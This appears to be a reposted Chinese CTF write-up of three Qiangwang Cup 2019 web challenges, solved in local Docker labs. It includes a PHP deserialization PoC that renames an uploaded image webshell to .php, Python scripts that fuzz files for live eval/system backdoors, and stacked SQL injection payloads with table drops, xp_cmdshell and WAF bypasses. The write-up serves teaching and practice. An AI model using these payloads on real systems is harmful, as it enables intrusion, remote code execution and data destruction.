強網杯upload&&高明的黑客&&隨便注 復現


UPLOAD

知識點:代碼審計,PHP 反序列化
復現環境:https://github.com/CTFTraining/qwb_2019_upload
步驟就簡略了(因為看過WP再來復現的,主要是如何解決和方法):
1.打開靶機頁面,注冊賬號,密碼,上傳一個圖片馬

上傳上去了,但是很明顯,這是無法利用的
2.dirseachr發現了源碼(比賽的時候,發現了源碼和cookie序列化的問題,但是還是接觸的少,根本不以為然。還真是序列化的問題哎)
審計一波上傳文件的代碼


3.Profile.php 中還有兩個魔術方法

__get和__call,前者是調用不可調用的成員變量時該怎么做,后者是調用不可調用的方法時該怎么做
我們可以利用反序列化和魔術方法來控制upload_img方法,從而任意更改文件名

目的:我們需要通過析構函數來調用upload_img()函數來把后綴名改成.php
原理分析:先調用析構函數然后通過兩個_get和__call魔術方法來實現調用upload_img()函數。
過程:通過構造一個Register的類,然后反序列化會調用析構函數,使成員變量registed為0,然后往下執行,調用checker成員變量在調用index()方法,這里可以想到將checker賦值為Profile實例化對象,
然后調用index()方法,便會自動執行__call魔術方法

public function __call($name, $arguments)
    {
        if($this->{$name}){
            $this->{$this->{$name}}($arguments);
        }
    }

首先會調用$index()成員變量,但是Profile中沒有,呢么就會執行__get魔術方法

public function __get($name)
    {
        return $this->except[$name];
    }

這時候我們可以會返回一個except['index'],呢么將Profile的成員變量except賦值為以index為數組鍵,upload_img()為數組鍵值的數組($except=['index'=>'upload_img'])
如此,$this->{$name}即為upload_img。因此__call方法中,if判斷中就會返回$this->upload_img() =>成功調用upload_img()函數
進入upload_Img()函數,賦值Profile中的成員變量Checker為0,直接繞過判斷,並且賦值ext為1,則執行如下步驟:

if($this->ext) {
            if(getimagesize($this->filename_tmp)) {
                @copy($this->filename_tmp, $this->filename);
                @unlink($this->filename_tmp);
                $this->img="../upload/$this->upload_menu/$this->filename";
                $this->update_img();
            }else{
                $this->error('Forbidden type!', url('../index'));
            }
        }else{
            $this->error('Unknow file type!', url('../index'));
        }
    }

這時候把成員變量$filename_tmp賦值為我們剛剛上傳的圖片馬的路徑,而覆蓋的文件名字$filename賦值為以php結尾的文件,使其以php腳本形式解釋

3.最終poc利用腳本

<?php
namespace app\web\controller;
class Profile
{
    public $checker=0;
    public $filename_tmp="../public/upload/a9c8a444cd2aa8597fedab5b34fb7365/f3ccdd27d2000e3f9255a7e3e2c48800.png";
    public $filename="../public/upload/a9c8a444cd2aa8597fedab5b34fb7365/yunying.php";
    public $ext=1;
    public $except=array('index'=>'upload_img');

}
class Register
{
    public $checker;
    public $registed=0;
}

$a=new Register();
$a->checker=new Profile();
echo base64_encode(serialize($a));

在index.php頁面修改cookie

利用成功,一句話木馬連接

但是為什么沒有/flag呢。。搞了好多次,以為都有問題,為什么沒有/flag

這里有個坑,docker-compose.yml里配置ports是127.0.0.1:8302:80
因為在虛擬機里docker的,用curl試試了下,只能在裝docker的機上訪問到,但是我的centos只有命令行,orz。所以修改成8302:80,把127.0.0.1去掉后,就可以訪問了。DOCKER萬歲
upload

高明的黑客

之前已經下好了源碼,但是一臉懵逼,這個該怎么找到可利用的后門呢,一個一個嘗試嗎?python編寫這個又不會,TM的打CTF像hyt,連cxk都不如
題目復現源碼地址:https://github.com/CTFTraining/qwb_2019_smarthacker/tree/09891831edee593b3c61374768dce3664f9317f4
學習了一波Glzjin的php內置服務器的知識
php -S loaclhost:port -t 自定義目錄

這道題目就是讓我們找到可用的后門,在許多的php中,有很多虛假的后門,都是置空或者根本無法構成代碼的。因此我們需要可以寫個py腳本來不斷的獲取php中的get或者post參數,來不聽fuzz,嘗試輸出某些東西.

Glzjin大佬的py3腳本

import os
import threading
from concurrent.futures.thread import ThreadPoolExecutor

import requests

session = requests.Session()

path = "/Users/jinzhao/PhpstormProjects/qwb/web2/"  # 文件夾目錄
files = os.listdir(path)  # 得到文件夾下的所有文件名稱

mutex = threading.Lock()
pool = ThreadPoolExecutor(max_workers=50)

def read_file(file):
    f = open(path + "/" + file);  # 打開文件
    iter_f = iter(f);  # 創建迭代器
    str = ""
    for line in iter_f:  # 遍歷文件,一行行遍歷,讀取文本
        str = str + line

    # 獲取一個頁面內所有參數
    start = 0
    params = {}
    while str.find("$_GET['", start) != -1:
        pos2 = str.find("']", str.find("$_GET['", start) + 1)
        var = str[str.find("$_GET['", start) + 7: pos2]
        start = pos2 + 1

        params[var] = 'echo("glzjin");'

        # print(var)

    start = 0
    data = {}
    while str.find("$_POST['", start) != -1:
        pos2 = str.find("']", str.find("$_POST['", start) + 1)
        var = str[str.find("$_POST['", start) + 8: pos2]
        start = pos2 + 1

        data[var] = 'echo("glzjin");'

        # print(var)

    # eval test
    r = session.post('http://localhost:11180/web2/' + file, data=data, params=params)
    if r.text.find('glzjin') != -1:
        mutex.acquire()
        print(file + " found!")
        mutex.release()

    # assert test
    for i in params:
        params[i] = params[i][:-1]

    for i in data:
        data[i] = data[i][:-1]

    r = session.post('http://localhost:11180/web2/' + file, data=data, params=params)
    if r.text.find('glzjin') != -1:
        mutex.acquire()
        print(file + " found!")
        mutex.release()

    # system test
    for i in params:
        params[i] = 'echo glzjin'

    for i in data:
        data[i] = 'echo glzjin'

    r = session.post('http://localhost:11180/web2/' + file, data=data, params=params)
    if r.text.find('glzjin') != -1:
        mutex.acquire()
        print(file + " found!")
        mutex.release()

    # print("====================")

for file in files:  # 遍歷文件夾
    if not os.path.isdir(file):  # 判斷是否是文件夾,不是文件夾才打開
        # read_file(file)

        pool.submit(read_file, file)

飄零大佬的py2腳本

import requests
from multiprocessing import Pool

base_url = "http://localhost:8888/src/"
base_dir = "/Desktop/site/src/"
file_list = ['zzt4yxY_RMa.php',........ 'm_tgKOIy5uj.php', 'aEFo52YSPrp.php', 'Hk3aCSWcQZK.php', 'RXoiLRYSOKE.php']

def extracts(f):
    gets = []
    with open(base_dir + f, 'r') as f:
        lines = f.readlines()
        lines = [i.strip() for i in lines]
        for line in lines:

            if line.find("$_GET['") > 0:
                start_pos = line.find("$_GET['") + len("$_GET['")
                end_pos = line.find("'", start_pos)                
                gets.append(line[start_pos:end_pos])

    return gets

def exp(start,end):
	for i in range(start,end):
		filename = file_list[i]
		gets = extracts(filename)
		print "try: %s"%filename 
		for get in gets:
			now_url = "%s%s?%s=%s"%(base_url,filename,get,'echo "sky cool";')
			r = requests.get(now_url)
			if 'sky cool' in r.content:
				print now_url
				break
	print "%s~%s not found!"%(start,end)


def main():
    pool = Pool(processes=15)    # set the processes max number 3
    for i in range(0,len(file_list),len(file_list)/15):
        pool.apply_async(exp,(i,i+len(file_list)/15,))
    pool.close()
    pool.join()

 
if __name__ == "__main__":
    main()

直接用飄零師傅的來試一下,果然是大佬。

隨便注

知識點:堆查詢注入
Stacked injection--堆疊注入--堆查詢注入
原文地址;http://www.sqlinjection.net/stacked-queries/ 本篇屬於集合原作者的思路和個人想法結合的一篇產物。Stacked injection 漢語翻譯過來后,國內有的稱為堆查詢注入,也有稱之為堆疊注入。個人認為稱之為堆疊注入更為准確。堆疊注入為攻擊者提供了很多的攻擊手段,通過添加一個新 的查詢或者終止查詢,可以達到修改數據和調用存儲過程的目的。這種技術在SQL注入中還是比較頻繁的。

原理介紹

在SQL中,分號(;)是用來表示一條sql語句的結束。試想一下我們在 ; 結束一個sql語句后繼續構造下一條語句,會不會一起執行?因此這個想法也就造就了堆疊注入。而union injection(聯合注入)也是將兩條語句合並在一起,兩者之間有什么區別么?區別就在於union 或者union all執行的語句類型是有限的,可以用來執行查詢語句,而堆疊注入可以執行的是任意的語句。例如以下這個例子。用戶輸入:1; DELETE FROM products服務器端生成的sql語句為:(因未對輸入的參數進行過濾)Select * from products where productid=1;DELETE FROM products當執行查詢后,第一條顯示查詢信息,第二條則將整個表進行刪除。

0x02 堆疊注入的局限性
堆疊注入的局限性在於並不是每一個環境下都可以執行,可能受到API或者數據庫引擎不支持的限制,當然了權限不足也可以解釋為什么攻擊者無法修改數據或者調用一些程序。

Ps:此圖是從原文中截取過來的,因為我個人的測試環境是php+mysql,是可以執行的,此處對於mysql/php存在質疑。但個人估計原文作者可能與我的版本的不同的原因。雖然我們前面提到了堆疊查詢可以執行任意的sql語句,但是這種注入方式並不是十分的完美的。在我們的web系統中,因為代碼通常只返回一個查詢結果,因此,堆疊注入第二個語句產生錯誤或者結果只能被忽略,我們在前端界面是無法看到返回結果的。因此,在讀取數據時,我們建議使用union(聯合)注入。同時在使用堆疊注入之前,我們也是需要知道一些數據庫相關信息的,例如表名,列名等信息。

0x03 各個數據庫實例介紹
本節我們從常用數據庫角度出發,介紹幾個類型的數據庫的相關用法。數據庫的基本操作,增刪查改。以下列出數據庫相關堆疊注入的基本操作。

一. Mysql
(1)新建一個表 select * from users where id=1;create table test like users;

執行成功,我們再去看一下是否新建成功表。

2. 刪除上面新建的test表select * from users where id=1;drop table test;


3. 查詢數據select * from users where id=1;select 1,2,3;

加載文件 select * from users where id=1;select load_file('c:/tmpupbbn.php');

4. 修改數據select * from users where id=1;insert into users(id,username,password)
values('100','new','new');

二. Sql server

  1. 增加數據表select * from test;create table sc3(ss CHAR(8));

  2. 刪除數據表select * from test;drop table sc3;

(3)查詢數據select 1,2,3;select * from test;

  1. 修改數據select * from test;update test set name='test' where id=3;

  2. sqlserver中最為重要的存儲過程的執行
    select * from test where id=1;exec master..xp_cmdshell 'ipconfig'

三. Oracle
上面的介紹中我們已經提及,oracle不能使用堆疊注入,可以從圖中看到,當有兩條語句在同一行時,直接報錯。無效字符。后面的就不往下繼續嘗試了。

四. Postgresql

  1. 新建一個表 select * from user_test;create table user_data(id DATE);

可以看到user_data表已經建好。

  1. 刪除上面新建的user_data表select * from user_test;delete from user_data;

  2. 查詢數據select * from user_test;select 1,2,3;

  3. 修改數據 select * from user_test;update user_test set name='modify' where name='張三';

開始復現

本來去buuctf里,有這道題目的,但是貌似題目出問題了.所以我還是去用docker復現了。

docker復現地址:https://github.com/CTFTraining/qwb_2019_supersqli/tree/0787e6a8273a78a8b237b08c034851f47cf20d6c

測試的過程中,出現了waf的正則,過濾了select,update,delete,drop,insert,where
我用-1' union s//e//lect 1,'2來嘗試繞過,emmm,WTF

看WP,說這樣莫非就是堆疊注入。。經驗太少,人家靠經驗就比你強了一截
堆疊注入,上面知識點已經羅列了,就是;分割了上一句命令,一行可以執行多條命令。
payload:1';show database;

查詢到數據庫。堆疊注入就是相當於不斷的查數據庫找flag唄。。。

payload:1’;use supersqli;show tables;

看到有個數字的,看看表內結構

payload:1';use supersqli;show columns from 1919810931114514;
咋啥都沒有回顯?????????????。。問了Glzjin大佬。。數字表名規定``引用
payload:1';show columns from 1919810931114514;

在測試下另一個表,words表
payload:1';show columns from words;

這個是我們默認查詢的表

看了WP,發現既然不能select查詢,只能利用那個默認的查詢。那查詢的也是wors表中的東西,該怎么利用呢
這里用到了alter(一直寫成alert)和rename,將words表更名為words1,把數字表改名為words,把其中的flag字段改為id字段,這樣查詢的其實就是數字表中的flag字段


實驗成功

payload:1';rename table words to words1;rename table 1919810931114514 to words;alter table words change flag id varchar(100) character set utf8 collate utf8_general_ci not null;
payload:1'or'1

大師傅太強了


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM